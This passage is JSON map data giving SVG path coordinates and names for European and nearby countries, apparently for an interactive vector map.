3.78,3 0.58,4.04l-0.53,0.37 -0.44,0.16 0,0z","name":"Armenia"},"cy":{"path":"m527.35,491.44c-2,0.03 -5.42,-2.87 -2.34,-3.85 0.27,-2.84 4.77,-0.45 3.78,-3.88 -1.1,-2.02 2.82,-0.4 4.03,-1.67 3.21,-1.08 5.34,-3.84 7.9,-5.9 -1.85,1.69 -5.66,5.67 -1.55,7.09 -1.16,0.96 -4.02,1.69 -3.88,3.92 -1.79,0.94 -4.14,2.55 -4.75,3.95 -1.18,-1.33 -2.1,0.23 -3.19,0.34z","name":"Cyprus"},"ie":{"path":"m160.13,300.45c-1.94,-0.73 -5.41,-0.29 -5.93,-1.1 2.68,-0.96 1.02,-3.47 -1.27,-2.29 -2.17,-0.03 4.61,-0.27 1.86,-1.87 -1.29,0.35 -5.82,0.84 -4.6,-0.88 0.33,-2.41 5.15,0.07 4.57,-2.91 -1.5,-0.99 -3.62,0.6 -3.81,-1.26 1.2,-0.91 6.26,2.54 3.91,-0.67 0.38,-1.38 3.44,-1.82 5,-1.34 1.1,0.96 5.65,0.21 3.16,-0.84 -0.11,-2.83 -2.54,-0.03 -3.01,-0.47 -0.23,-0.23 -3.43,-0.5 -1.1,-1.34 2.22,-1.01 0.54,-4 2.82,-3.42 2.56,1.02 3.91,-3.17 0.52,-2.46 -1.68,0.14 -2.56,-0.23 -2,-1.83 -0.18,-2.01 -5.12,-1.21 -3.94,-2.82 2.15,0.5 2.19,-2.65 4.57,-1.69 2.67,-0.16 1.13,-2.7 -0.21,-3.26 0.29,-1.31 0.02,-3.18 -0.75,-3.28 2.65,-0.82 4.91,0.87 5.93,2.56 1.46,-1.86 3.2,1.45 5.23,1.05 -1.45,-1.4 -1.04,-3.03 1.32,-2.78 1.21,-0.78 -0.05,1.72 1.32,2.45 1.11,1.84 4.55,5.05 6.16,2.17 -0.49,-1.92 2.26,-1.77 1.43,0.13 0.94,1.15 1.06,2.27 0.8,3.26 0.63,1.48 4.47,-0.64 2.75,0.86 -2.34,0.42 -0.05,3.2 -0.77,4.83 0.46,1.62 -0.08,2.98 -1.28,2.32 1.02,2.41 1.46,5.54 -0.48,7.61 -1.25,2.01 -3.34,4.38 -4.14,6.02 -2.56,-0.85 -5.09,-0.34 -7.67,-1.06 -1.16,0.41 -0.62,2.52 -2.3,1.42 -1.5,0.14 -2.91,2.49 -3.4,0.19 -2.29,-1.05 -1.04,2.27 -2.69,2.29 -0.11,0.95 -1.6,-1.12 -2.01,0.4z m13.73,-33.46c2.33,-2.06 -0.9,-1.95 -2,-2.14 -1.29,-0.53 -2.55,-1.96 -0.25,-1.08 1.89,0.69 2.47,-1.66 2.15,-3.1 -1.16,-1.71 7.03,-1.16 4.23,1.31 -0.31,1.85 2.66,-0.08 1.09,1.63 -0.53,1.73 -5.09,0.69 -2.83,2.72 -0.77,0.31 -1.61,0.36 -2.38,0.64z m6.45,-5.05c0.02,-0.88 0.61,0.23 0,0z","name":"Ireland"},"gb":{"path":"m182.64,325.46c0.06,-1.95 -4.47,-2.09 -0.74,-2.3 2.67,-0.61 3.94,-3.31 6.49,-4.14 2.12,-0.77 1.4,-4.5 3.94,-3.31 1.45,-3.67 5.43,-1.45 8.06,-0.26 2.91,0.6 2.6,-3.72 5.07,-4.06 1.35,-0.1 4.35,-3.93 1.42,-2.57 -1.86,1.99 -5.05,0.84 -6.82,2.84 -2.27,-0.51 -2.72,-5.62 -5.77,-3.31 0.24,-2.37 -1.53,-4.27 -3.69,-2.44 -0.87,0.75 -2.94,0.79 -1.58,-0.17 0.16,-1.27 -3.6,-0.88 -1.52,-2.98 1.52,-0.74 3.44,0.29 4.82,-1.36 2.13,0.95 4.49,-1.92 5.83,-3.38 1.68,-2.26 0.05,-8.36 -3.37,-5.58 -1.46,1.33 -0.19,-1.41 0.97,-0.91 1.28,-1.84 2.91,-2.79 5,-2.8 1.2,0.32 4.62,-0.54 5.23,2.01 0.71,1.84 0.61,0.28 0.62,-0.81 -0.49,-1.45 0.01,-1.88 0.83,-1.63 -1.44,-2.21 1.58,-2.99 1.67,-4.6 -1.45,-0.49 -1.63,-2.14 0.09,-1.51 0.69,-1.16 0.79,-2.38 1.37,-3.56 -0.63,-2.27 -3.62,2.01 -2.38,-1.12 -0.36,-1.35 -2.39,0.41 -1.46,-1.51 -2.08,-2.31 0.12,-6.19 3.07,-5.98 2.74,-1.73 -0.83,-1.86 -2.08,-2.37 -0.92,0.48 -3.28,2.29 -4.42,1.19 -1.32,1.2 -1.79,-3.4 -3.43,-0.83 0.32,2.13 0.14,1.46 -0.76,0.01 -1.33,-0.68 -2.66,-1.39 -1.32,-3.18 1.13,-2.26 5.13,-4.6 2.33,-7.17 0.52,-2.42 1.47,-4.31 0.99,-6.83 -1.19,-2.25 -5.91,3.7 -3.96,0.19 -1.17,-1.95 1,-2.29 1.54,-3.39 -1.93,-1.31 3.92,-1.92 1.97,-3.06 1.93,-2.14 -1.4,-1.12 -1.91,0.17 -2.64,0.37 -2.78,2.95 -5.17,3.25 1.64,-1.88 1.56,-3.32 4.36,-3.1 0.45,-1.67 -5.98,-1.25 -1.81,-1.19 1.82,-0.7 -1.08,-3.69 1.83,-2.58 2.2,1.18 2.55,-1.86 1.62,-2.28 3.21,-0.32 0.94,-5 -0.12,-6.67 -1.49,-3.19 1.62,1.59 1.66,-1.31 -0.16,-0.99 3.11,1.17 2.06,-1.21 -1.02,-1.19 -0.29,-1.17 0.73,-0.82 0.07,-1.49 0.01,-1.71 1.64,-1.31 1.56,-1.15 -0.74,-2.21 0.86,-3.26 -0.88,-3.08 1.49,-0.59 1.87,-0.27 0.74,0.04 0.92,2.92 2,0.79 2.21,-0.9 6.43,0.18 7.86,0.3 -1.51,1.12 -1.16,3.83 -3.76,4.28 -1.25,1.24 -5.25,2.21 -4.45,4.19 2.02,-0.77 1.46,0.73 0.51,0.2 -2.65,-1.31 -3.91,3.83 -0.65,3.27 1.6,-1 4.76,-1.27 6.96,-0.43 2.15,0.77 9,0.4 6.36,4.13 -2.17,1.32 -1.95,4.3 -3.79,5.88 -1.36,2.24 -3.73,4.99 -6.67,3.85 -2.54,0.88 -0.66,2.52 1.1,1.38 0.78,-0.5 3.15,3.35 0.84,1.99 -2.07,-0.28 -3.16,1.31 -5.18,1.63 -0.02,2.53 4.56,1.95 5.82,1.47 2.3,1.2 3.8,3.55 4.55,5.85 2,2.23 0.13,5.79 1.35,8.49 -0.45,3.02 1.26,4.86 3.81,6.01 1.66,1.49 2.34,4.19 3.57,5.37 -2.57,1.95 1.1,5.12 0.44,6.31 -2.04,-0.08 1.34,3.78 1.3,5.11 0.78,2.24 -5.08,2.32 -2.09,4.71 1.56,2.69 3.3,0.05 4.83,-1 2.51,1.1 6.37,1.79 6.61,5.25 -0.28,2.6 -1.71,7.67 -4.87,6.84 -2.14,0.29 1.39,3.23 -1.35,2.01 -1.64,-1.62 -4.38,2.64 -1.7,1.39 1.98,0.5 -1.21,2.23 -2.35,1.41 -3.04,0.03 -0.52,3.18 1.11,2.57 2.13,-1.55 -0.82,1.67 1.85,1 1.37,0.01 4.16,-1.13 2.4,1.04 0.18,1.94 -3.04,1.77 -3.79,3.01 -3.03,-0.26 -5.14,2.46 -7.81,0.22 -2.14,-0.87 -5.12,1.06 -5.71,-1.04 -0.97,0.35 -1.61,-1.39 -2.37,0.11 -0.34,-1.96 -3.3,-2.15 -1.9,0.13 -1.76,0.29 -4.97,-1.2 -5.38,0.98 -2.03,-0.7 -3.26,-0.69 -4.99,-2.14 -2.67,-1.4 -6.68,-1.13 -6.68,2.71 -0.68,3.61 -3.23,0.34 -4.72,-0.57 -1.81,-0.09 -4.28,-1.13 -5.91,0.19 -1.52,-0.34 -2.18,1.47 -2.78,2.5z m18.76,-70.13c1.65,1.54 3.03,-0.19 0.57,-0.92 -0.47,-0.23 -0.39,0.68 -0.57,0.92z m-3.12,31.93c0.55,0.53 0.27,0.88 0,0z m-1.17,-10.07c0.02,-1.53 3.39,-4.02 1.66,-1.22 -0.39,0.58 -0.96,1.08 -1.66,1.22z m-10.63,-1.73c-1.59,-0.31 -2.08,-2.29 -3.03,-0.36 -1.91,-0.73 1.49,-2.2 -1,-2.29 0.13,-2.31 -2.8,-4.88 -3.79,-2.04 0.08,3.32 -3.97,-0.09 -4.6,-1.78 -1.85,-2.46 4.1,-0.54 2.7,-3.31 3.07,0.55 2.59,-4.32 5.36,-2.92 1.06,-1.19 2,-1.61 3.15,-1.03 2.23,-0.98 4.88,1.21 3.52,3.35 -0.19,2.26 3.15,1.24 0.87,3.27 -2.06,1.44 -0.04,2.03 1.25,1.47 1.84,1.95 -0.91,4.87 -2.77,3.75 -0.28,0.8 -0.67,1.84 -1.67,1.88z m10.61,-7.92c-1.67,-0.09 0.88,-0.41 0,0z m-4.29,-6.97c1.08,-0.83 2.3,-4.85 2.33,-3.8 -0.86,1.14 -0.52,3.62 -2.33,3.8z m2.73,-6.13c0.35,-1.24 0.97,-0.17 0,0l0,0z m-3.97,-25.03c-1.05,-1.04 1.79,-1.33 0,0z m1.85,-1.48c-0.51,-1.01 -1.32,-1.32 -0.4,-1.6 -1.54,-1.3 0.12,-2.32 1.22,-0.9 1.22,-0.53 0.35,-2.59 1.9,-1.78 0.84,-0.86 3.02,-1.98 1.27,-0.28 -1.41,1.61 -1.17,5.41 -3.42,2.95 -0.74,0.32 -0.1,1.35 -0.58,1.61z m38.33,-20.76c-1.93,-1.65 4.17,-0.89 0.99,-0.51l-0.47,0.12 -0.53,0.39 0,0z","name":"United Kingdom"},"ch":{"path":"m292.05,389.98c-1.12,-2.03 -1.49,-3.96 -4.14,-4.68 0.24,-1.27 0.28,-4.19 -2.02,-2.48 -2.76,1.07 -0.98,6.19 -4.8,5.6 -1.34,-2.05 -4.35,2.18 -5.85,-0.49 -0.66,-1.9 -1.54,-2.82 -1.22,-5.23 -0.26,-1.58 -4.49,-1.34 -5.35,0.35 0,0.96 -0.92,3.04 -1.36,2.14 2.08,-0.65 -0.4,-3.99 1.78,-5.21 1.94,-0.57 2.18,-1.6 2.3,-3.5 2.42,-0.82 3.23,-3.53 5.4,-5.02 0.92,-1.36 3.51,-0.53 3.7,-1.93 2.51,-0.36 5.31,-0.33 7.48,-0.01 1.57,-0.63 0.5,-2.03 0.36,-2.23 1.31,-1.57 1.36,1.33 2.5,0.98 1.1,0.96 4.91,-0.68 5.97,2.04 0.36,1.7 -2.95,6.33 1.28,6.08 1.9,0.87 4.09,3.47 5.78,0.3 -0.28,1.18 -0.17,4.33 -0.42,4.42 -1.87,-2.39 -4.17,0.79 -2.27,2.33 0.4,3.64 -0.7,-1.85 -2.69,-0.06 -1.62,2.46 -2.25,-1.46 -3.43,-1.76 -2.43,0.76 -0.07,4.33 -2.78,4.97 -1.02,0.89 -0.72,2.33 -0.22,3.4z M275.63,370.8c0.49,-1.83 2.92,0.14 0.45,0.04l-0.53,0.11 0.08,-0.14 0,0z","name":"Switzerland"},"at":{"path":"m338.89,381.72c-2.92,-0.37 -5.68,-0.8 -8.68,-1.29 -3.41,-0.44 -7.47,0 -10.13,-2.59 -0.49,-1.79 -2.01,-0.99 -0.74,-2.9 -1.54,-1.34 -4.15,1.63 -6.36,0.74 -2.58,-0.56 -3.71,1.14 -4.67,3.02 -0.77,-1.61 -4.07,-0.58 -3.15,-2.45 -2.02,-1.72 -4.43,3.34 -5.34,-0.45 -2.71,0.05 -3.32,-2.5 -1.76,-4.48 -0.11,-1.92 0.65,-1.26 2.03,-1.24 0.77,2.34 2.91,4.54 4.57,1.3 -0.46,-2.13 1.09,-1.56 2.51,-1.62 1.01,3.44 4.52,1.32 6.34,0.3 1.07,-2.1 5.55,-0.39 5.96,-2.32 1.02,0.88 3.01,0.37 3.69,0.59 0.18,3.89 5.07,0.73 2.69,-1.53 -0.2,-1.43 -1.39,-3.39 -2.11,-5.03 1.93,-1.47 5.36,-2.58 5.54,-5.05 1.88,0.9 2.55,-1.98 3.13,-1.73 2,1.9 4.33,0.91 6.33,0.45 0.7,-1.97 2.92,-2.39 2.31,-5.03 1.96,0.92 4.91,0.17 6.97,1.75 1.9,2.39 4.37,-0.77 6.11,0.38 1.43,-0.03 2.77,1.31 1.21,2.94 -0.45,2.79 3.86,4.35 2.35,7.1 1.97,3.48 -4.51,0.08 -4.56,2.79 1.63,1.11 3.27,1.96 0.42,2.95 -0.98,1.81 1.97,4.01 -0.88,5.49 -1.01,1.14 -3.1,1.64 -2.24,3.63 -2.75,-0.79 -4.87,2.27 -7.7,0.89 -1.89,0.31 -2.39,2.61 -3.87,3.38z","name":"Austria"},"cz":{"path":"m335.18,355.05c-3.65,-0.41 -4.96,-4.57 -8.41,-5.66 -1.31,-1.75 -2.19,-2.91 -4.32,-3.66 -1.8,-1.56 -2.64,-3.53 -1.6,-5.57 -0.16,-1.57 -4.02,-3.53 -3.2,-4.17 1.42,3.2 2.44,-2.24 4.26,-2.25 1.35,1.3 3.09,-0.63 3.77,-1.12 1.58,-1.86 4.18,-2.74 6.59,-3.91 1.63,-0.69 3.11,-2.35 4.59,-0.56 2.65,1.13 2.61,-4.69 4.17,-1.06 1.38,1.66 3.64,0.69 5.11,2.36 0.67,1.75 5.33,-1.17 2.84,1.24 -1.67,2.06 2.09,2.81 2.61,4.74 2.09,1.86 2.12,-0.93 3.96,-1.42 0.43,-1.39 -1.9,-2.7 0.65,-1.55 1.23,1.3 3.29,0.96 4.4,0.53 -3.27,0.95 2.17,5.16 3.09,2.65 2.93,0.44 4.53,2.63 6.07,4.63 -2.15,1.71 -4.92,3.04 -5,6.15 -1.22,2.56 -3.35,3.75 -6.24,3.67 -1.85,1 -3.16,2.67 -5.05,0.79 -2.11,1.83 -4.69,0.96 -6.9,-0.42 -1.92,-1.1 -4.07,-0.45 -5.85,-0.93 -0.34,2.31 -2.03,3.48 -2.87,5.34 -1.07,-1.47 -1.28,0.34 -2.66,0.17z m-0.68,-28.45c-2.43,-2.03 2.32,0.24 0,0z","name":"Czech Republic"},"sk":{"path":"m364.44,362.94c-2.39,-2.37 -6.56,-2.63 -7.73,-6.02 -0.46,-2.43 0.4,-6.56 3.64,-6.16 3.23,0.29 4.91,-3 5.9,-5.48 0.17,-1.96 3.95,-5.08 5.19,-3.02 2.43,1.82 3.49,-4.97 4.66,-0.89 1.56,0.35 1.91,0.85 1.91,2.52 2.64,1.02 3.89,-1.84 5.57,-3.22 1.58,-0.07 4.26,1.88 5.1,-0.34 0.99,-1.59 4.74,-1.57 6.47,-0.13 1.28,2.35 6.24,0.73 4.22,4.32 -1.5,2.17 -0.53,7.67 -4.43,6.22 -0.53,-3.18 -3.88,-1.31 -5.83,-0.46 -2.77,-2.02 -4.98,0.68 -5.07,3.51 -1.08,0.67 -2.09,-0.14 -2.29,1.79 -1.29,1.17 -3.96,-2.16 -4.46,1.1 -0.72,2.43 -5.78,-0.07 -5.66,3.66 1.11,2.54 -4.04,1.94 -5.84,2.51 -0.44,0.04 -0.88,0.07 -1.32,0.1z","name":"Slovakia"},"hu":{"path":"m369.77,387.01c-2.75,-0.58 -5.39,-1.37 -7.78,-2.73 -2.27,-2.63 -5.77,-3.91 -7.5,-7.04 -1.21,-1.85 -2.06,-2.65 0.1,-3.74 1.43,-1.97 -1.64,-4.55 1.32,-5.48 2.04,-1.7 -3.3,-3.48 -0.09,-2.71 2.81,1.04 3.86,-1.91 3.11,-3.93 1.93,-1.05 3.43,2.43 5.44,2.58 3.24,-0.18 6.53,-0.68 9.48,-2.09 -2.94,-1.84 0.68,-3.88 2.85,-2.99 1.75,-0.27 1.26,-4.31 3.33,-2 2.26,0.8 3.01,-1.99 4.8,-2.5 0.41,-2.48 1.52,-4.92 4.25,-3.08 1.93,-0.18 4.28,-2.95 5.05,0.14 2.1,1.7 4.8,-1.81 6.38,0.84 2.12,-0.07 1.45,3.23 3.34,1.35 3.46,3.21 -4.18,3.49 -4.55,6.38 0.35,2.87 -2.65,4.72 -2.5,7.52 0.37,3.17 -2.46,5.43 -2.51,8.54 0.01,3.02 -4.16,0.17 -4.1,3.12 -3.14,1.57 -7.09,0.21 -9.73,1.82 -1.24,2.36 -3.12,1.16 -4.53,3 -2.57,0.36 -3.31,3.42 -6.16,3.01z","name":"Hungary"},"lt":{"path":"m397.76,280.99c-1.28,-1.32 -1.63,-4.58 -4.11,-3.7 -1.13,-2.07 -4.01,-0.28 -3.26,-3.14 1.62,-3.48 -2.4,-7.19 -5.64,-5.13 -2.28,0.26 -5.13,-1.48 -6.05,-2.17 -0.51,-2.23 -1.53,-3.51 -2.2,-5.4 -1.37,-2.68 1.24,-5.63 3.5,-7 1.88,-1.44 4.85,-0.65 6.6,-1.37 0.56,-1.26 2.33,2.09 2.82,-0.31 2.06,-0.86 4.97,0.1 6.62,-0.3 1.76,-0.28 3.35,-0.61 3.78,-2.83 1.19,2.4 3.3,3.12 5.7,2.26 2.79,0.52 4.16,3.86 7.04,4.08 1.64,1.42 -0.82,5.15 2.39,4.69 0.41,1.84 -3.75,0.79 -2.82,3.52 -2.05,1.6 -2.93,3.79 -1.88,6.23 -0.12,2.13 -0.68,3.69 -2.75,4.26 -0.43,1.13 -0.04,1.82 -1.97,2.11 -0.51,1.51 -1.38,2.09 -2.67,3.35 -1.72,-1.32 -3.41,0.53 -5.09,0.87z m13.27,-5.67c-0.11,-1.17 -1.77,-2.09 0.31,-1.22 0.43,0.34 0.36,1.19 -0.31,1.22z","name":"Lithuania"},"lv":{"path":"m375.49,257.31c-1.25,-2.79 -1.57,-6.54 -0.19,-9.24 2.63,-2.07 -0.8,-6.67 2.34,-8.6 1.69,0.07 4.11,-4.27 4.4,-1.32 2.44,1.48 4.79,3.19 5.76,5.78 2.55,1.96 6.17,0.07 7.13,-2.71 1.39,-2.75 -1.14,-5.3 -1.86,-7.82 1.34,-1.86 3.66,-3.57 5.64,-3.47 0.08,-0.9 1.63,1.08 2.69,0.67 1.72,0.06 3.13,2.25 4.97,3.22 2.21,0.36 3.53,-2.11 5.72,-1.12 1.76,-0.72 2.78,1.38 4.4,2.33 -0.55,1.5 -1.61,1.77 0.06,2.4 -0.17,1.1 -0.46,3.72 1.44,2.57 1.53,2.66 6.04,5.32 2.65,8.5 -1.42,1.56 -0.49,4.51 -3.48,3.69 -2.28,0.64 -3.94,4.9 -6.51,1.93 -2.03,-2.26 -5.06,-3.95 -7.91,-2.78 -1.1,-1.49 -3.6,-4.26 -4.46,-0.94 -1.47,1.77 -5.35,0.57 -7.87,1.17 -1.87,0.26 -2.16,0.89 -3.44,-0.06 -2.37,1.98 -6.1,0.17 -8.37,2.54 -1.6,0.14 -2,4.17 -3.11,3.25z","name":"Latvia"},"md":{"path":"m454.92,374.42c-0.33,-2.09 -1.86,-4.78 -2.23,-7.4 0.38,-3.56 0.07,-7.47 -2.96,-9.91 -3.2,-3.43 -7.96,-5.44 -9.93,-9.93 -0.24,-2.34 -6.31,-3.34 -2.39,-4.03 2.67,0.33 3.73,-3.48 6.57,-2.14 1.32,0.97 1.83,2.54 3.78,1.18 -0.02,0.82 2.42,2.73 2.56,0.37 1.33,-1.44 3.96,3.6 4.43,1.55 1.2,-1.55 0.65,3.03 1.22,3.93 0.07,2.32 4.57,4.13 4.42,2.59 -0.43,1.81 0.64,4.31 3.01,4.64 2.61,-0.41 1.35,4.32 2.84,4.34 -0.24,1.12 -3.35,-2.1 -2.5,0.78 -1.04,0.18 -2.3,-2.64 -2.02,-0.03 -1.22,0.21 -2.31,-1.71 -3.62,0.36 -1.34,1.85 1.39,3.73 0.77,5.48 -0.5,2.25 -2.95,4.34 -2.23,7.32 -0.82,-0.46 -1.48,0.35 -1.72,0.91z","name":"Moldova"},"ro":{"path":"m414.71,404.53c-2.94,-0.37 2.3,-2.82 -0.89,-3.86 -1.36,-0.38 -6.12,-1.72 -3.63,-3.39 3.62,-1.4 -2.29,-3.42 -3.82,-3.63 -1.25,0.73 1.78,4.33 -1.06,3.46 -0.47,-2.42 -4.24,0.23 -4.49,-2.27 -1.54,0.07 -1.87,0.1 -0.31,-0.74 0.46,-1.41 -2.15,-1.17 -0.71,-2.27 0.07,-4.02 -6.25,-1.24 -6.86,-4.86 0.56,-2.93 -2.25,-4.23 -4.45,-5.46 -1.23,-1.35 3.36,-1.23 3.59,-2.71 4.37,0.45 2.54,-4.6 4.68,-6.55 1.28,-2.95 0.7,-6.3 2.76,-8.97 0.62,-2.75 1.58,-5.21 4.69,-5.79 2.24,-1.25 2.4,-5.8 5.34,-3.67 2.44,-0.6 4.8,0.38 7.17,-0.21 2.51,-1.94 3.7,1.15 5.91,1.18 2.03,-1.31 2.68,-4.39 5.67,-3.96 2.31,-0.28 4.86,-1.95 4.49,-4.32 1.75,-2.97 4.98,-1.01 6.29,1.29 1.93,4.74 7.06,6.72 10.28,10.39 2.93,2.37 2.34,6.09 2.36,9.35 0.53,2.52 1.69,4.86 1.92,7.13 1.82,1.67 4.12,3.74 6.83,2.36 1.37,-1.24 4.51,-5.35 6.51,-2.84 1.18,1.97 2.1,5.63 -1.2,6.33 -1.85,1.04 -1.42,-3.67 -3.88,-1.61 -1.51,1.92 1.84,2.51 -0.11,4.51 -0.61,2.57 2.04,-0.86 0.82,1.98 -2.28,2.63 -0.38,5.59 -0.04,8.5 -1.15,2.51 -5.2,-0 -6.02,-1.11 -1.09,1.46 -1.67,-0.92 -3.54,0.54 -1.82,0.49 -3.31,-1.46 -5.44,0.01 -3.08,1.35 -6.52,2.81 -8.17,5.95 -1.31,3.55 -4.97,3.29 -8.01,2.77 -2.75,-0.48 -4.92,1.71 -7.44,1.75 -2.74,-0.25 -5.83,-1.37 -8.31,0.42l-0.52,0.24 -0.43,0.06 0,0z","name":"Romania"},"bg":{"path":"m419.98,434.43c-0.77,-1.6 0.33,-5.03 -1.67,-6.74 -1.14,-2.34 -7.05,-2.04 -4.41,-5.19 -0.49,-1.45 -2.46,-4.37 -1,-5.23 2.16,0.54 4.75,-3.78 2.92,-5.59 -2.57,-1.55 -5.66,-2.78 -5.98,-6.24 -0.97,-2.47 2.74,-1.99 1.69,-4.32 2.08,-0.06 3.2,1.11 1.22,2.59 -0.15,3.28 3.83,0.6 5.65,0.71 2.58,-0.64 5.13,0.94 7.65,0.08 2.61,-1.18 5.46,-2.28 8.27,-1.01 3.32,0.37 5.6,-2.51 6.93,-5.13 2.16,-2.35 5.29,-3.61 8.27,-4.56 1.69,0.75 3.92,0.92 5.2,0.32 0.77,1.61 2.46,-1.39 3.17,1.07 1.58,2.18 6.09,-1.71 5.26,2.45 0.21,2.63 -4.48,0.38 -4.02,3.94 -1.88,1.85 1.39,5.32 -0.17,7.14 -1.24,1.25 -1.7,3.03 -2.93,4.26 0.82,1.66 4.27,-0.37 3.64,2.02 1.44,0.86 3.71,1.89 1.23,2.18 -1.9,3.08 -4.18,-1.08 -6.49,0.5 -1.52,1.95 -4.37,1.58 -4.82,4.55 -1.37,1.04 -4.43,1.49 -2.91,4.13 3.08,3.26 -3.78,2.7 -5.13,4.68 -1.95,0.62 -4.22,-2.41 -5.93,-0.29 -2.04,-2.63 -5.18,-1.43 -7.46,0.15 -2.06,2.52 -5.54,1.17 -7.76,3.47l-0.43,0.06 0,0z","name":"Bulgaria"},"al":{"path":"m396.5,458.88c-2.16,0.08 -0.81,-2.55 -2.74,-3.41 -0.91,-2.13 -5.81,-2.06 -5.48,-3.81 2.36,-1.04 -1.62,-3.19 -0.48,-4.99 0.36,-1.26 2.66,-2.2 0.57,-3.3 1.39,-2.49 -3.57,-5.96 0.77,-6.52 2.37,-0.03 -1.92,-0.89 -0.55,-2.51 -0.14,-2.15 -3.24,-0.23 -2.21,-2.9 -1.48,-2.28 0.07,-4.41 1.36,-6.71 1.01,3.42 4.23,-2.13 4.66,1.78 1.21,1.69 4.6,1.07 3.88,4.25 -0.33,2.87 -0.02,5.6 0.51,8.19 0.21,1.77 2.38,5.51 4.15,4.74 1.69,-0.32 2.5,4.45 0.05,5.02 -0.86,1.75 -0.27,5.37 -3.24,5.56 -2.01,1.26 1.3,2.75 -0.81,3.98l-0.23,0.5 -0.19,0.12 0,0z","name":"Albania"},"ee":{"path":"m378.18,234.33c-0.29,-1.42 0.77,-0.85 0,0z m29.34,-1.46c-2.55,-0.18 -3.15,-3.15 -5.39,-3.23 -0.21,-1.76 -1.21,1.44 -2.27,-0.65 -2.12,-1.63 -4.52,1.21 -6.27,2.48 -1.26,-0.67 1.67,-5.98 -1.81,-5.74 -1.1,1.92 -1.82,2.36 -3.83,1.3 -0.08,-2.54 -3.43,-2.95 -2.01,-5.67 0.96,-2.03 -3.8,-2.6 -0.62,-3.95 1.35,-0.61 4.23,-0.97 2.3,-2.67 2.82,-0.9 4.5,-2.4 7.47,-2.41 1.66,-0.56 1.5,-2.75 3.42,-1.67 0.91,-1.72 4.64,0.07 6.63,-0.66 2.13,-0.1 4.26,0.22 6.03,-1.29 -1.43,2.67 -1.02,5.84 -2.24,8.62 2.11,2.2 1.2,5.64 3.15,7.83 0.24,0.52 1.89,2.24 1.35,2.38 -0.73,0.83 -0.81,2.27 -1.35,2.68 1.66,2.85 -2.28,0.25 -2.89,1.26 -0.29,0.68 -0.83,1.4 -1.65,1.38z m-28.89,-1.28c-1.29,-0.43 -2.59,-1.4 -0.92,-2.29 -0.22,-0.67 0.59,-1.5 0.99,-0.78 -0.53,-2.4 4.69,-3.37 4.19,-1.27 0.07,2.48 -3,2.5 -4.26,4.33z m1.02,-7.14c-0.54,-0.34 -0.96,-2.14 -1.01,-2.27 0.8,-1.29 0.79,-1.32 2,-0.55 1.89,-0.4 1.35,1.06 -0.17,0.69 0.83,0.84 0.55,2.1 -0.81,2.14z","name":"Estonia"},"lb":{"path":"m557.2,501.39c0.58,-2.8 0.32,-5.88 1.17,-8.53 -0.92,-2.02 1.77,-3.87 0.09,-5.88 -0.28,-2.6 2.65,-3.83 2.23,-6.01 1.03,-0.93 3.35,-2.1 2.42,0.09 1.64,0.57 3.96,0.89 3.49,3.25 -1.11,1.34 -2.61,3.51 -1.84,4.51 -2.48,0.69 -2.89,3.8 -1.53,5.08 -0.04,2.15 -2.43,3.34 -3.12,4.26 0.57,1.87 -1.28,3.1 -2.91,3.25z","name":"Lebanon"},"ad":{"path":"m225.99,427.08c-4.4,2.06 -0.81,-5.33 0.49,-0.98l-0.2,0.53 -0.29,0.45z","name":"Andorra"},"sm":{"path":"m321.66,413.68c0.71,-2.83 1.59,1.21 0,0z","name":"San Marino"},"mc":{"path":"m273.92,416.64c-2.8,-1.65 2.23,-1.64 0.39,-0.13l-0.39,0.13 0,0z","name":"Monaco"},"lu":{"path":"m268.7,344.38c-1.34,-0.37 0.48,-2.79 -0.9,-3.99 -1.47,-1.94 2.76,-5.38 1.98,-1.49 0.37,1.78 4.79,2.33 1.84,4.09 -0.47,1.66 -1.49,1.22 -2.93,1.39z","name":"Luxembourg"},"fr":{"path":"m292.72,444.55c-0.12,-2 -3.86,-0.94 -2.75,-2.99 -2.34,-0.62 -0.11,-2.51 0.75,-3.57 0.35,-0.55 -3.76,1.07 -1.24,-0.63 0.32,-1.34 -2.6,-2.05 -0.51,-3.01 -0.25,-1.14 -1.13,-1.51 -0.02,-1.71 -0.89,-2.66 3.14,-1.71 3.48,-3.51 1.94,0.96 2.98,-0.2 2.33,-2.11 1.79,-2.18 -0.99,3.51 1.02,4.43 1.2,3.29 -2.09,6.35 -1.33,9.73 -0.95,0.89 -1.15,2.64 -1.75,3.36z m-58.87,-15.16c-2.27,-2.01 -5.59,-0.28 -7.2,-2.87 1.48,-2.11 -2.14,-2.13 -2.92,-2.19 -1.78,-1.34 -3.82,-2.36 -5.67,-3.53 -1.54,0.58 -1.53,2.27 -3.51,1.46 -1.54,0.07 -2.66,-0.59 -3.93,-0.35 -0.8,-2.33 -2.93,-1.69 -4.53,-2.09 -1.06,-2 -2.81,-3.32 -5.06,-3.18 -1.57,-1.15 -1.33,-1.7 -1.45,-3.5 -1.23,-0.24 -3.44,-0.96 -1.02,-1.55 3.04,-3.75 2.96,-8.84 4.5,-13.21 0.85,-1.4 2.99,0.68 2.08,-1.85 -1.2,-1.06 -2.14,-0.84 -1.15,-2.81 1.1,-1.59 0.63,-5.99 2.35,-6.1 1.89,1.55 0.82,3.87 1.88,5.79 -0.05,2.01 2.7,3.12 1.93,0.38 -2.25,-2.11 -0.08,-5.11 -2.23,-7.23 -1.52,-1.07 -0.74,-1.21 -0.52,-2.39 -2.12,-1.87 0.87,-2.79 -0.3,-5.08 -0.91,-0.78 2.06,-4.15 0.31,-2.92 -1.7,1.58 -2.8,-0.99 -4.34,-1.54 -1.66,-0.48 -1.34,-4.04 -3.07,-5.27 1.45,-1.37 2.03,-3.5 -0.17,-4.21 -1.28,-1.38 -1.85,-1.7 -0.64,-3.42 1.28,-3.05 -5.85,-0.88 -2.14,-2.3 -0.4,-2.26 -4.49,0.28 -3.4,-2.31 -0.36,-2.67 -3.56,0.62 -4,-1.74 -2.28,-0.09 -2.42,-4.2 -4.81,-1.84 -1.78,1.57 -0.33,-2.39 -2.37,-2.56 1.59,0.62 3.87,-0.51 1.92,-2.13 1.84,1.1 2.88,-0.7 0.65,-1.01 0.13,0.05 1.59,-2.28 -0.46,-1.5 -1.34,1.45 -4.19,-0.07 -1.73,-1.25 1.3,-0.76 2.79,-0.81 2.95,-0 1.4,-0.85 2.87,-0.97 3.66,0.09 0.65,-1.02 3.21,1.35 3.19,-1.26 2.43,-1.62 2.22,2.03 2.47,2.06 1.69,-2.75 1.86,2.19 3.17,3.11 1.26,-0.74 3.83,-3.16 3.73,-0.14 1.62,2.63 2.82,-1.65 4.78,0.11 0.83,-0.47 4.32,1.06 3.36,-0.07 -1.65,-1.65 -2.42,-4.02 -1.35,-6.19 